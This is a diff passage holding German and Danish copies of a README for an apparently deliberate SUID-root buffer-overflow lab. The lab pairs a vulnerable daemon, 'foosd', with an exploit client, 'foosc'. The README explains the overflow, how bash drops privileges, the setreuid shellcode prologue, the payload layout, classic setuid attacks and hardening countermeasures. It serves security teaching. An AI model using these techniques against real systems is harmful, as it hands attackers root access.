ist selbst Teil des Labors. Behalte es +für den nächsten Abschnitt im Kopf. + +--- + +## 5. Der Mechanismus — und die Wendung, die SUID interessant macht + +### 5.1 Der Overflow (identisch zu `food`) + +`foosd`s Handler gibt einem `read()` 512 Bytes Vertrauen, während er ihm einen +64-Byte-Stack-Puffer reicht: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 Bytes über die Kante */ +``` + +Auf x86-64 wächst der Stack nach unten. Der Exploit schreibt 64 Bytes Müll, um +`buf` zu füllen, 8, um den gespeicherten Frame-Pointer zu füllen, und 8 mehr, +um die **gespeicherte Rücksprungadresse** zu ersetzen. Wenn +`vulnerable_handler` das `ret` ausführt, poppt die CPU den Wert des Angreifers +in `RIP` — vom Angreifer kontrollierte Codeausführung. Der Exploit ermittelt +den exakten Abstand (88 Bytes für diesen Build), indem er die `objdump`-Ausgabe +parst, statt ihn hart zu verdrahten, sodass die Zahl Rebuilds überlebt. + +### 5.2 Die Wendung: Die Shell weigert sich, root zu sein + +Hier geht „SUID-Bug → /bin/sh spawne → root" fehl, und das ist der Grund, +warum dieses Labor genau diese Form hat. + +Wenn ein setuid-root-Programm läuft, ist sein `ruid` immer noch der +startende Benutzer und sein `euid` ist root. Wenn das Programm — oder der +Angreifer — jetzt eine Shell startet: + +* `execve("/bin/sh")` ändert die uids **nicht**; der neue Prozess erbt + `(ruid=1000, euid=0)`. +* bash (und dash) **prüfen genau diese Bedingung beim Start**. Aus dem + bash-Handbuch: *„If the shell is started with the effective user (group) id + not equal to the real user (group) id, and the -p option is not supplied, … + the effective user id is set to the real user id."* + +Die Shell wirft also einen Blick auf sich selbst und *lässt root fallen* — eine +Verteidigung, die die Shell-Autoren genau gegen diesen Angriff gebaut haben +(die historische Rechtfertigung war das Setuid-Shell-/Setuid-Skript-Problem). +Das Ergebnis sind die „funktioniert, aber nicht root"-Fälle: + +| Technik | Was sie ausführt | Resultierende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — Shell gelandet, root von bash zurückgesetzt | +| `ret2libc` | `system("/bin/sh")` → frisches `sh -c '/bin/sh'` | **1000** — gleiches Zurücksetzen, eine Ebene tiefer | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid aus C heraus geleert | +| `shellcode` | 32 Bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid aus Maschinencode geleert | + +Die beiden, die root erreichen, unterscheiden sich von den beiden, die es +nicht tun, um genau eine Idee: **sie leeren die *reale* uid, nicht nur die +effektive.** + +```c +setuid(0) /* setzt euid auf 0, aber ruid bleibt 1000: + bash sieht weiterhin euid != ruid und setzt IMMER NOCH + zurück. */ +setreuid(0, 0) /* setzt BEIDE: ruid = euid = 0. + bash sieht gleiche uids und behält root. */ +``` + +Deshalb beginnt der klassische `/bin/sh`-Shellcode, den du überall im Internet +findest, mit einem uid-leerenden Syscall — und deshalb ist der Shellcode hier +32 Bytes statt 23: Die ersten fünf Anweisungen sind + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Also, was ist der Exploit Ende-zu-Ende? + +1. `foosc` liest `foosd`s Banner über den Socket. Es bekommt: + - `ids=0/1000` — euid/ruid (die SUID-Selbstdiagnose) + - `stack=…` und `libc=…` — Pointer (die ASLR-Leaks) + - `BUF=…` — die exakte Adresse des Puffers, den es gleich überlaufen lässt +2. Aus dem Ziel-Binärprogramm (via `objdump`) lernt es `rip_off` und die + Adressen von `win()` / `win_root()`. +3. Aus *seiner eigenen* libc (via `/proc/self/maps` + `dlsym` + einen + Speicherscan) misst es die Offsets von `system`, `read`, `/bin/sh` und + eines `pop rdi; ret`-Gadgets — nichts ist hart verdrahtet. +4. Es setzt den Payload zusammen. Für `-t shellcode` ist das: + `[32-Byte-setreuid+execve-Code][Padding bis RIP][ret-Fix][Adresse von buf]`. +5. `foosd`s `read()` läuft über; `ret` landet auf dem Shellcode; der Kernel + führt `setreuid(0,0)` aus (ok: euid 0 ist privilegiert) und danach `execve` + von `/bin/sh`. bash startet mit `ruid == euid == 0` und bleibt root. +6. `foosc` leitet dein Terminal an diese Root-Shell weiter, bis du `exit` + tippst. + +Ein Details zur Absicherung, das Leute viel Zeit kostet, wenn es übersehen +wird: Der Exploit testet jedes uid-leerende Verhalten **ohne** das benötigte +Setuid-Bit zuerst. Führe `make test` vor `make setuid` aus, und du siehst jede +Technik eine Shell landen, während `ROOT=MISSING` dasteht; führe `make +test-suid` nach `make setuid` aus, und `ROOT=SEEN` erscheint bei den zwei +Techniken, die die reale uid leeren. Dieses A/B ist die ganze Lektion, +ausführbar in zehn Sekunden. + +--- + +## 6. Die alten Einzeiler — und warum die meisten von ihnen tot sind + +Wenn du über SUID gelesen hast, hast du über `PATH`-Hijacking, `LD_PRELOAD` +und Setuid-Shells gelesen. Alle drei sind klassisch, und alle drei scheitern +auf einem modernen System gegen *dieses Programm*. Es lohnt sich, genau zu +wissen, warum, denn die Gründe sind die Verteidigungen, die du gratis +bekommst: + +| Angriffsklasse | Alte Behauptung | Warum sie auf einem modernen Rechner scheitert | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` einer bösartigen Bibliothek | „Das Setuid-Programm lädt meine `.so` und führt meinen Code als root aus." | Der Kernel markiert ein Setuid-Binärprogramm als **AT_SECURE**; glibc ignoriert daraufhin `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` und Verwandtes. Die Umgebung wird als *unvertrauenswürdige Eingabe* behandelt. `LD_PRELOAD` gegen ein Setuid-Binärprogramm ist eine No-Operation. | +| `PATH`-Hijack (`system("ls")` mit vergiftetem PATH) | „Zeige PATH auf ein Verzeichnis mit meinem falschen `ls`; das Root-Programm führt es aus." | Ein zweites Gesicht derselben Verteidigung: Ein AT_SECURE-Prozess bekommt einen **bereinigten `PATH`** (einen sicheren Standard, in etwa `/usr/local/bin:/usr/bin:/bin`) für `system()`/`execvp`, sodass das vergiftete Verzeichnis nie konsultiert wird. | +| Setuid-`system()`-Befehlsinjektion | „Der injizierte Befehl läuft mit euid 0." | `system()` führt den Befehl in einer frischen `/bin/sh` aus, und diese Shell — §5.2 — setzt `euid = ruid` beim Start zurück. Der injizierte Befehl läuft mit der *realen* uid. (Es ist immer noch ein Bug; er eskaliert nur nicht mehr über `/bin/sh`.) | +| Setuid-Root-Shell auf der Platte (`cp /bin/sh /tmp; chmod u+s`) | „Führe sie aus, bekomme root." | Genau die Verteidigung oben, und das ist der Grund, warum moderne Distributionen keine Setuid-Root-Shell ausliefern. Selbst wenn dir eine gelingt, weigert sich bash, euid 0 zu behalten, sofern es nicht mit `-p` gestartet wird. | + +Was lebendig bleibt, und das ist dieses Labor: **Das Programm ist beim Laufen +*bereits* root.** Du brauchst weder die Umgebung noch `system()`; du brauchst, +dass das Programm *deinen* Code (über einen Memory-Corruption-Bug) ausführt, +solange es privilegiert ist, und dein Code muss vorsichtig genug sein, den +uid-Mismatch selbst zu beheben — `setreuid(0,0)` — bevor er dir eine Shell +übergibt. Memory Corruption + SUID ist die Kombination, die immer noch in +`uid=0` endet, und genau deshalb sind speichersichere Sprachen, Canaries und +No-Execute-Stacks keine Modeentscheidung. + +--- + +## 7. Die in den Daemon eingebauten Sicherheitsleitplanken + +`foosd` ist absichtlich das *schlechteste* Stück Software in diesem +Repository, also trägt es auch die meisten Leitplanken: + +1. **Nur Loopback, erzwungen.** `foosd` weigert sich, eine andere Adresse als + Loopback zu binden, sofern du nicht `-L` übergibst. Ein Setuid-Root-Listener + auf einer echten Schnittstelle ist ein entfernter Root-Dienst; die Weigerung + ist der Standard, damit der gefährliche Zustand bewusst eingetippt werden + muss. +2. **Selbstdiagnose.** Beim Start loggt es `ruid`/`euid` und ob es als root + läuft, sodass die Konsole den Zustand zeigt, von dem der Exploit abhängt. +3. **Das Log erreicht den Client nie.** Der Daemon reserviert einen privaten + Log-Deskriptor, bevor Sockets fd 1 ersetzen, sodass Crash-Reporter-Ausgabe + und interne Pfade vom Angreifer nicht über die Leitung zurückgelesen werden + können. +4. **Crash-Reporter.** Ein SIGSEGV-Handler loggt `RIP`/`RSP` — den Wert, den + der Angreifer in die Rücksprungadresse geschrieben hat — sodass eine + erfolgreiche Übernahme in `foosd.log` sichtbar ist, statt ein stiller Tod zu + sein. +5. **`make unsetuid`.** Das Entfernen des Bits ist skriptiert, denn es gesetzt + zu lassen ist der Ausfallmodus, den Leute tatsächlich haben. + +--- + +## 8. Gegenmaßnahmen — was jede stoppt und was nicht + +Angewendet auf `foosd` via `make hardened`, einzeln oder zusammen: + +| Gegenmaßnahme | Was sie stoppt | Was sie *nicht* stoppt | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (Canary) | Den Overflow: `ret` erkennt einen zerstörten Canary und bricht ab, bevor die Adresse des Angreifers verwendet wird. Stoppt hier **alle vier** Techniken — sie teilen sich das eine angreifbare `read()`. | Nichts am *Design*: Das Binärprogramm ist immer noch setuid-root; ein anderer Bug (Format-String-`%n`, Heap-Overflow, Use-after-Free) hat keinen Canary zum Auslösen. | +| `-fPIE -pie` (ASLR für das Binärprogramm) | Nutzung vorhersagbarer `win()`/`win_root()`-Adressen (die ret2win-Techniken). | Die Shellcode-Technik, wenn weiterhin eine Stack-Adresse leakt (die `BUF=`-Zeile). | +| `-z noexecstack` (NX / W^X) | Den Shellcode: Die CPU weigert sich, Befehle von einer daten-only-Seite zu holen, sodass ein Sprung auf `buf` ein SIGSEGV ist. | ROP — das Ausführen vorhandenen Codes (`ret2libc`). | +| Alle drei zusammen | Ein schwer zu überlaufendes, randomisiertes Binärprogramm mit nicht-ausführbarem Stack. So sieht ein normaler gehärteter Build aus. | Das Setuid-Bit. **Ein gehärtetes SUID-Binärprogramm ist immer noch ein SUID-Binärprogramm.** Wenn irgendein erreichbarer Speichersicherheitsbug überlebt, ist es immer noch „Bug in einem Root-Prozess". | + +Der Konsolenbeweis ist `make test-hardened`, das den gehärteten Build +eintauscht und zeigt, wie alle Techniken am Canary sterben, während +`foosd_hardened.log` `*** stack smashing detected ***` aufzeichnet. + +Zwei Designebenen-Gegenmaßnahmen, die keine Compiler-Flag liefert und die auch +das übergeordnete Labor (`food`) nutzt: + +- **Least Privilege.** Ein Daemon für einen unprivilegierten Port (2343 > 1024) + hat keinen legitimen Bedarf an root. Ein korrektes `foosd` würde binden und + dann `setgroups`/`setgid`/`setuid` auf ein unprivilegiertes Konto ausführen + und *verifizieren, dass es hielt* (die korrekte Version steht im Quellcode + als `drop_privs()`, nie aufgerufen — die Nicht-Aufrufung ist Bug #3 des + Labors). +- **Das read begrenzen.** `n = read(fd, buf, sizeof(buf) - 1)`. Eine korrekte + Zeile schlägt jede Compiler-Flag in der Tabelle. + +--- + +## 9. Das Wire-Protokoll (damit du den Daemon mit netcat lesen kannst) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — durfte nicht als `euid=`/`ruid=` gedruckt werden, weil die + Test-Harness eine Shell anhand des wörtlichen `uid=` beweist und das Banner + es nicht enthalten darf (eine Sonde, die die Signatur mit der Antwort teilt, + ist eine klassische Fehlpositiv-Falle; siehe den Kommentar in `foosd.c`). + Die Harness verlangt außerdem die strenge `id`-Ausgabeform — `uid=NNN(...)` — + sodass nichts, was der Daemon oder der Exploit druckt, die Prüfung zufällig + erfüllen kann: `foosc`s eigenes „target euid=… ruid=…" enthält `uid=` als + Teilstring, was einmal einen gehärteten Test eine nie gelaufene Shell melden + ließ. +* `stack=`, `libc=`, `BUF=` — die ASLR-Leaks: erlauben Shellcode und ret2libc, + exakte Adressen zu berechnen. + +--- + +## 10. Übungen + +1. **Beobachte die Nicht-Root-Abstufung.** Führe `make test` *vor* `make + setuid` aus, dann danach erneut. Erkläre die `ROOT=SEEN`-Änderung mit der + ruid/euid-Geschichte aus §5.2. +2. **Lies den Absturz.** Führe `./foosc -t demo -n` aus und lies dann + `foosd.log`. Die Zeile `RIP=0x4141414141414141` ist das Padding des + Angreifers — der Beweis, dass der Overflow, nicht Pech, die Ausführung + kontrolliert. +3. **Füge den Canary hinzu.** `make hardened` und ändere die + `test-hardened`-Schleife selbst; die Log-Zeile + `*** stack smashing detected ***` ist die arbeitende Verteidigung. +4. **Deaktiviere das Leak.** Kommentiere die `BUF=`-Zeile in `foosd.c` aus, + baue neu und beobachte, wie `-t shellcode` von deterministisch zu einem + Ratespiel wird. Diese eine Zeile ist der Grund, warum echte + ASLR-Bypasses ein ganzes Feld sind. +5. **Das `-p`-Experiment.** Ändere in einer Kopie von `win()` `execl("/bin/sh", + "sh", NULL)` zu `execl("/bin/sh", "sh", "-p", NULL)` und beobachte root. + `-p` ist die dokumentierte Notluke aus dem Wächter der Shell — und der + Grund, warum der Rat „spawne einfach eine Shell" aus alten Write-ups + unvollständig ist. +6. **Warum nicht `setuid(0)`?** Schreibe den Shellcode so um, dass er + `setuid(0)` statt `setreuid(0,0)` aufruft (Syscall 105). Die Shell landet + trotzdem — und fällt trotzdem auf `uid=1000`. Das ist das lehrreichste + Ein-Zeilen-Experiment im gesamten Repository. + +--- + +## 11. Sicherheit und Aufräumen + +- Nur Loopback, standardmäßig und per Design; `-L` bindet weiter, und nur eine + Wegwerf-VM sollte es überhaupt in Betracht ziehen. +- Dies ist ein Root-Shell-Labor. Führe es nicht auf einer Maschine aus, die + wichtig ist, und richte `foosc -h` nicht auf etwas, das dir nicht gehört. +- Aufräumritual: `make stop` und dann `make unsetuid`, und wenn du den Baum + wieder makellos willst: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.DK.md b/suid/README.DK.md new file mode 100644 index 0000000..7e5dec7 --- /dev/null +++ b/suid/README.DK.md @@ -0,0 +1,389 @@ +# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit) + +En ledsager til det overordnede laboratorium (`food` / `fooc`, en almindelig +daemon, hvor et bufferoverløb giver dig en *bruger*-shell). Dette tilføjer den +farligste en-tegns-ændring i Unix: **setuid-bitten**. + +> `chmod u+s` forvandler "angriberen kan køre kode på denne host" til +> "angriberen kan køre kode som **root** på denne host". + +Den sætning er hele laboratoriet. Alt herunder er mekanismen under den, skrevet +ned, så du, når du skriver din egen software, præcist ved, hvilke to eller tre +filsystem-attributter og compiler-flag der afgør, om en +hukommelsessikkerhedsfejl i din kode er en gene eller en root-shell. + +Den endelige demo, når `foosd` er setuid-root, er en **root-shell**, der åbnes +over netværket ved at udføre 32 bytes håndskrevet shellcode. + +--- + +## 1. Hvad setuid-bitten rent faktisk gør + +Hver proces på Linux bærer tre user-ID'er, og setuid-bitten piller ved +forholdet mellem dem: + +| ID | Navn | Betydning | +|----|------|---------| +| `ruid` | reelle user-ID | kontoen, der *startede* processen | +| `euid` | effektive user-ID | det, kernen tjekker, når den håndhæver adgang | +| (saved) | gemte set-user-ID | en "slot", en privilegeret proces må vende tilbage til senere | + +Et normalt program har `ruid == euid`. Når du udfører en binærfil med +setuid-bitten sat, ejet af root: + +```text +ruid = dig (fx. 1000, "hanez") +euid = ejeren (fx. 0, "root") +``` + +Processen har derfor **roots autoritet**, selvom brugeren, der startede den, er +helt almindelig. Hvert tjek, kernen udfører — kan denne proces læse +`/etc/shadow`? skrive en fil? dræbe en anden proces? — besvares med `euid`, +dvs. "ja, den er root". + +`foosd` er en netværksdaemon. Den binder en port og `fork()`er derefter et barn +per forbindelse. En fork *arver* euid'en, så hvert barn, der håndterer en +forbindelse, også er root. Overløbet i `foosd`s `vulnerable_handler()` er +derfor et overløb *inde i en root-proces*. + +**Diagnosticér det selv, når daemonen kører:** + +```console +$ ./foosd ... # se den loglinje, den printer ved start +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +og fra exploitet: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Laboratoriet ved et øjekast + +| Fil | Rolle | +|------|------| +| `foosd.c` | Den bevidst sårbare daemon (ejer fejlene). Kør som *setuid-root*-binærfil til root-shell-demoen. | +| `foosc.c` | Exploitet. Bruger som standard den 32-byte `setreuid + execve`-shellcode-teknik. | +| `shellcode.S` | Reference-shellcoden; `make verify` diff'er den mod byte-arrayet i `foosc.c`. | +| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gennem et pseudo-terminal og beviser både "en shell kørte" *og* "den var root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid`-hjælpere, testmatrix. | +| `README.md` | Denne fil. | + +> **Hvorfor en pty?** Exploitets sidste handling er at videresende din terminal +> til shellen, der udfører på offeret. En pipe eller her-doc lander i den +> forkerte ende af den videresendelse; en ægte terminal er påkrævet. + +--- + +## 3. Hurtig start + +```console +$ make # byg alt, som din normale bruger +$ make setuid # én gang, spørger om sudo: chown root + chmod u+s +$ make run # start foosd på 127.0.0.1:2343 +$ make test-suid # fuld matrix; shellcode + ret2win-root skal give root +``` + +Interaktiv rygeprøve: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret +# exit +``` + +Når du er færdig: + +```console +$ make stop +$ make unsetuid # hygiejne: efterlad aldrig en root-SUID-binærfil +``` + +--- + +## 4. *Hvornår skal jeg sætte SUID-bitten?* — svaret, du bad om + +Præcis **én gang, efter bygningen, før du starter daemonen til +root-shell-demoerne** — og kun på en maskine, der er din, velegnet til at smide +væk og frakoblet netværket: + +```console +$ make # kompilér foosd, foosc, tests +$ make setuid # <-- ØJEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start EFTER at have sat bitten +``` + +To regler, der betyder mere end det præcise tidspunkt: + +1. **Sæt den kun, når binærfilen er færdig.** Hvis du genbygger (`make` / + `make clean`), efter du har sat bitten, rammer du et "Permission denied", + når du skriver root-ejede outputfiler — og hvis du tvinger genbygningen, + genskaber værktøjskæden filen **uden** `s`-en og fortryder stille og roligt + opsætningen. Den kanoniske rækkefølge ved enhver genbygning er derfor + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Fjern den, når du er færdig.** `make unsetuid`. En levende, + root-ejet setuid-binærfil med en udnyttelig fejl i dit træ er ikke et + læremiddel, det er et root-hul med en kompileringsfejl mellem sig og + ingenting. På en delt eller produktionsmaskine: **lav ikke noget af + dette.** Daemonen nægter desuden som standard at binde andet end loopback + (se §7). + +Hvis du kører exploitet *uden* nogensinde at sætte bitten, går intet i stykker +— payloaden lander stadig, og du får stadig en shell. Forskellen er i ét tal, +og exploitet siger det højt: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Det "virker, men ikke root"-resultat er selv en del af laboratoriet. Husk det +til næste afsnit. + +--- + +## 5. Mekanismen — og drejningen, der gør SUID interessant + +### 5.1 Overløbet (identisk med `food`) + +`foosd`s handler giver et `read()` 512 bytes tillid, mens den rækker den et +64-byte stack-buffer: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */ +``` + +På x86-64 vokser stacken nedad. Exploitet skriver 64 bytes junk for at fylde +`buf`, 8 for at fylde den gemte framepointer og 8 mere for at erstatte den +**gemte returadresse**. Når `vulnerable_handler` udfører `ret`, popper CPU'en +angriberens værdi ind i `RIP` — angriberkontrolleret kodeudførelse. Exploitet +finder den præcise afstand (88 bytes for denne build) ved at parse +`objdump`-output i stedet for at hardkode det, så tallet overlever genbygninger. + +### 5.2 Drejningen: shellen nægter at være root + +Her er det, hvor at tænke "SUID-fejl → spawn /bin/sh → root" ville gå galt, og +hvorfor dette laboratorium har præcis den form, det har. + +Når et setuid-root-program kører, er dets `ruid` stadig den startende bruger, +og dets `euid` er root. Hvis programmet — eller angriberen — nu starter en +shell: + +* `execve("/bin/sh")` ændrer **ikke** uiderne; den nye proces arver + `(ruid=1000, euid=0)`. +* bash (og dash) **tjekker præcis den tilstand ved start**. Fra bash-manualen: + *"If the shell is started with the effective user (group) id not equal to + the real user (group) id, and the -p option is not supplied, … the effective + user id is set to the real user id."* + +Så shellen kigger på sig selv og *dropper root* — et forsvar, som +shell-forfatterne byggede præcis mod dette angreb (den historiske begrundelse +var setuid-shell-/setuid-script-problemet). Resultatet er "virker, men ikke +root"-tilfældene: + +| Teknik | Hvad den udfører | Resulterende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landede, root nulstillet af bash | +| `ret2libc` | `system("/bin/sh")` → frisk `sh -c '/bin/sh'` | **1000** — samme nulstilling, et niveau nede | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode | + +De to, der når root, adskiller sig fra de to, der ikke gør, med præcis én idé: +**de rydder den *reelle* uid, ikke kun den effektive.** + +```c +setuid(0) /* sætter euid til 0, men ruid forbliver 1000: + bash ser stadig euid != ruid og nulstiller STADIG. */ +setreuid(0, 0) /* sætter BEGGE: ruid = euid = 0. + bash ser lige uider og beholder root. */ +``` + +Det er derfor, den klassiske `/bin/sh`-shellcode, du finder overalt på +internettet, starter med et uid-ryddende syscall — og det er grunden til, at +shellcoden her er 32 bytes i stedet for 23: de første fem instruktioner er + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Så hvad er exploitet, ende til ende? + +1. `foosc` læser `foosd`s banner over socket'en. Det får: + - `ids=0/1000` — euid/ruid (SUID-selvdiagnosen) + - `stack=…` og `libc=…` — pointers (ASLR-leaksene) + - `BUF=…` — den nøjagtige adresse på det buffer, den er ved at løbe over +2. Fra target-binærfilen (via `objdump`) lærer det `rip_off` og adresserne på + `win()` / `win_root()`. +3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et hukommelsesscan) + måler det offsets for `system`, `read`, `/bin/sh` og et + `pop rdi; ret`-gadget — intet er hardkodet. +4. Det samler payloaden. For `-t shellcode` er det: + `[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`. +5. `foosd`s `read()` løber over; `ret` lander på shellcoden; kernen udfører + `setreuid(0,0)` (fint: euid 0 er privilegeret) og derefter `execve` af + `/bin/sh`. bash starter med `ruid == euid == 0` og forbliver root. +6. `foosc` videresender din terminal til den root-shell, indtil du skriver + `exit`. + +Én bekvemmelighedsdetalje, der koster folk meget tid, hvis den overses: +exploitet tester hver uid-ryddende adfærd **uden** først at have brug for +setuid-bitten. Kør `make test` før `make setuid`, og du vil se hver teknik +lande en shell, mens `ROOT=MISSING` står; kør `make test-suid` efter `make +setuid`, og `ROOT=SEEN` dukker op ved de to teknikker, der rydder den reelle +uid. Det A/B er hele lektionen, udførligt på ti sekunder. + +--- + +## 6. De gamle one-liners — og hvorfor de fleste af dem er døde + +Har du læst om SUID, har du læst om `PATH`-kapring, `LD_PRELOAD` og +setuid-shells. Alle tre er klassiske, og alle tre fejler på et moderne system +mod *dette program*. Det er værd at vide præcis hvorfor, fordi grundene er de +forsvar, du får gratis: + +| Angrebsklasse | Gamle påstand | Hvorfor den fejler på en moderne maskine | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` af et ondsindet bibliotek | "Setuid-programmet loader min `.so` og kører min kode som root." | Kernen markerer en setuid-binærfil som **AT_SECURE**; glibc ignorerer derefter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *utroverdig input*. `LD_PRELOAD` mod en setuid-binærfil er en no-op. | +| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | "Peg PATH mod et bibliotek med min falske `ls`; root-programmet kører den." | Et andet ansigt af samme forsvar: en AT_SECURE-proces får en **saneret `PATH`** (en sikker standard, nogenlunde `/usr/local/bin:/usr/bin:/bin`) til `system()`/`execvp`, så det forgiftede bibliotek aldrig konsulteres. | +| Setuid-`system()`-kommandoinjektion | "Den injicerede kommando kører med euid 0." | `system()` kører kommandoen i en frisk `/bin/sh`, og den shell — §5.2 — nulstiller `euid = ruid` ved start. Den injicerede kommando udføres med den *reelle* uid. (Det er stadig en fejl; den eskalerer bare ikke længere gennem `/bin/sh`.) | +| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | "Kør den, få root." | Præcis forsvaret ovenfor, og det er grunden til, at moderne distroer ikke leverer nogen setuid-root-shell. Selv når det lykkes at lave én, nægter bash at beholde euid 0, medmindre den startes med `-p`. | + +Hvad der forbliver i live, og det er dette laboratorium: **programmet er +*allerede* root, når det kører.** Du behøver ikke miljøet eller `system()`; du +har brug for, at programmet udfører *din* kode (via en +hukommelseskorruptionsfejl), mens det er privilegeret, og din kode skal være +omhyggelig nok til selv at rette uid-mismatchet — `setreuid(0,0)` — før den +overrækker dig en shell. Hukommelseskorruption + SUID er kombinationen, der +stadig ender i `uid=0`, hvilket er præcis hvorfor hukommelsessikre sprog, +canaries og no-execute-stacks ikke er en modebeslutning. + +--- + +## 7. De sikkerhedsgelændere, der er bygget ind i daemonen + +`foosd` er bevidst det *dårligste* stykke software i dette repository, så det +bærer også flest gelændere: + +1. **Kun loopback, håndhævet.** `foosd` nægter enhver bind-adresse ud over + loopback, medmindre du giver `-L`. En setuid-root-listener på en rigtig + grænseflade er en fjern root-tjeneste; afslaget er standarden, så den + farlige tilstand skal skrives bevidst ind. +2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kører som + root, så konsollen viser den tilstand, exploitet afhænger af. +3. **Loggen når aldrig klienten.** Daemonen reserverer en privat + log-descriptor, før sockets erstatter fd 1, så crash-reporter-output og + interne stier ikke kan læses tilbage over ledningen af angriberen. +4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den værdi, + angriberen skrev ind i returadressen — så en vellykket kapring er synlig i + `foosd.log` i stedet for at være en stille død. +5. **`make unsetuid`.** Fjernelse af bitten er scriptet, fordi at efterlade den + sat er den fiaskotilstand, folk rent faktisk har. + +--- + +## 8. Modforanstaltninger — hvad hver stopper, og hvad den *ikke* stopper + +Anvendt på `foosd` via `make hardened`, én ad gangen eller sammen: + +| Modforanstaltning | Hvad den stopper | Hvad den *ikke* stopper | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | Overløbet: `ret` opdager en smadret canary og abort'er, før angriberens adresse bruges. Stopper her **alle fire** teknikker — de deler det ene sårbare `read()`. | Intet ved *designet*: binærfilen er stadig setuid-root; en anden fejl (format-string-`%n`, heap-overflow, use-after-free) har ingen canary at udløse. | +| `-fPIE -pie` (ASLR for binærfilen) | Brug af forudsigelige `win()`/`win_root()`-adresser (ret2win-teknikkerne). | Shellcode-teknikken, hvis en stack-adresse stadig lækker (`BUF=`-linjen). | +| `-z noexecstack` (NX / W^X) | Shellcoden: CPU'en nægter at hente instruktioner fra en data-only-side, så et hop til `buf` er et SIGSEGV. | ROP — at køre kode, der allerede findes (`ret2libc`). | +| Alle tre sammen | En svær-at-overløbe, randomiseret binærfil med ikke-eksekverbar stack. Sådan ser en normal hærdet build ud. | Setuid-bitten. **En hærdet SUID-binærfil er stadig en SUID-binærfil.** Hvis nogen nåbar hukommelsessikkerhedsfejl overlever, er det stadig "fejl i en root-proces". | + +Konsolbeviset er `make test-hardened`, som bytter den hærdede build ind og viser +alle teknikker dø ved canaryen, mens `foosd_hardened.log` optager +`*** stack smashing detected ***`. + +To designniveau-modforanstaltninger, som intet compiler-flag leverer, og som det +overordnede laboratorium (`food`) også bruger: + +- **Least privilege.** En daemon til en uprivilegeret port (2343 > 1024) har + intet legitimt behov for root. En korrekt `foosd` ville binde og derefter + `setgroups`/`setgid`/`setuid` til en uprivilegeret konto og *bekræfte, at det + holdt* (den korrekte version står i kilden som `drop_privs()`, aldrig kaldt — + ikke-kaldelsen er laboratoriets fejl nr. 3). +- **Begræns read'et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje + overgår hvert compiler-flag i tabellen. + +--- + +## 9. Wire-protokollen (så du kan læse daemonen med netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — kunne ikke printes som `euid=`/`ruid=`, fordi test-harnessen + beviser en shell ved at greppe efter det bogstavelige `uid=`, og banneret må + ikke indeholde det (en sonde, der deler signatur med svaret, er en klassisk + falsk-positiv-fælde; se kommentaren i `foosd.c`). Harnessen kræver desuden + den strenge `id`-outputform — `uid=NNN(...)` — så intet, daemonen eller + exploitet printer, kan opfylde tjekket ved et tilfælde: `foosc`s eget + "target euid=… ruid=…" indeholder `uid=` som delstreng, hvilket engang fik en + hærdet test til at melde en shell, der aldrig havde kørt. +* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lader shellcode og ret2libc + beregne eksakte adresser. + +--- + +## 10. Øvelser + +1. **Betragt ikke-root-nedgraderingen.** Kør `make test` *før* `make setuid`, + og derefter igen bagefter. Forklar `ROOT=SEEN`-ændringen med + ruid/euid-historien i §5.2. +2. **Læs nedbruddet.** Kør `./foosc -t demo -n` og læs derefter `foosd.log`. + Linjen `RIP=0x4141414141414141` er angriberens padding 